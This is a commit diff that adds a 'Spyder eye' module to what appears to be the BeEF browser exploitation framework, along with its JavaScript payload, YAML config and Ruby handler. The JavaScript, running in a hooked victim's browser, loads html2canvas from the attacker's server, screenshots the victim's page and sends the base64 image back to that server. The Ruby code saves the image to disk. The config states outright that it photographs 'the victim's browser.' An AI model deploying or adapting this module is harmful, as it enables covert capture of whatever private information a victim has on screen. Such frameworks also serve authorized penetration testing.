adding generic module to take screenshoots with canvas
This commit is contained in:
23
modules/browser/spyder_eye/command.js
Normal file
23
modules/browser/spyder_eye/command.js
Normal file
@@ -0,0 +1,23 @@
|
||||
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var script = document.createElement( 'script' );
|
||||
script.type = 'text/javascript';
|
||||
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/html2canvas.js';
|
||||
$j("body").append( script );
|
||||
|
||||
html2canvas(document.body, {
|
||||
onrendered: function(canvas) {
|
||||
|
||||
var img = canvas.toDataURL("image/png");
|
||||
var output = img.replace(/^data:image\/(png|jpg);base64,/, "");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, output);
|
||||
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
26
modules/browser/spyder_eye/config.yaml
Normal file
26
modules/browser/spyder_eye/config.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
beef:
|
||||
module:
|
||||
spyder_eye:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Spyder eye"
|
||||
description: "This module takes a picture of the victim's browser."
|
||||
authors: ["preth00nker"]
|
||||
target:
|
||||
working:
|
||||
IE:
|
||||
min_ver: 9
|
||||
max_ver: latest
|
||||
FF:
|
||||
min_ver: 3
|
||||
max_ver: latest
|
||||
C:
|
||||
min_ver: 1
|
||||
max_ver: latest
|
||||
S:
|
||||
min_ver: 6
|
||||
max_ver: latest3
|
||||
O:
|
||||
min_ver: 12
|
||||
max_ver: latest
|
||||
not_working: ["All"]
|
||||
2841
modules/browser/spyder_eye/html2canvas.js
Normal file
2841
modules/browser/spyder_eye/html2canvas.js
Normal file
File diff suppressed because it is too large
Load Diff
23
modules/browser/spyder_eye/module.rb
Normal file
23
modules/browser/spyder_eye/module.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
class Spyder_eye < BeEF::Core::Command
|
||||
require 'base64'
|
||||
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['results'] = @datastore['results']
|
||||
save content
|
||||
#I would prefer use common logger but I haven't find the way to do it
|
||||
print "---------[ preth00nker says ]----------\n"
|
||||
print " look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png\n"
|
||||
#e.g. BeEF::Core::Logger.instance.register("spyder eye"," look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png")
|
||||
File.open("SeO_"+@datastore['cid']+'.png', 'wb') do |file|
|
||||
file.write(Base64.decode64( content['results'] ) )
|
||||
end
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user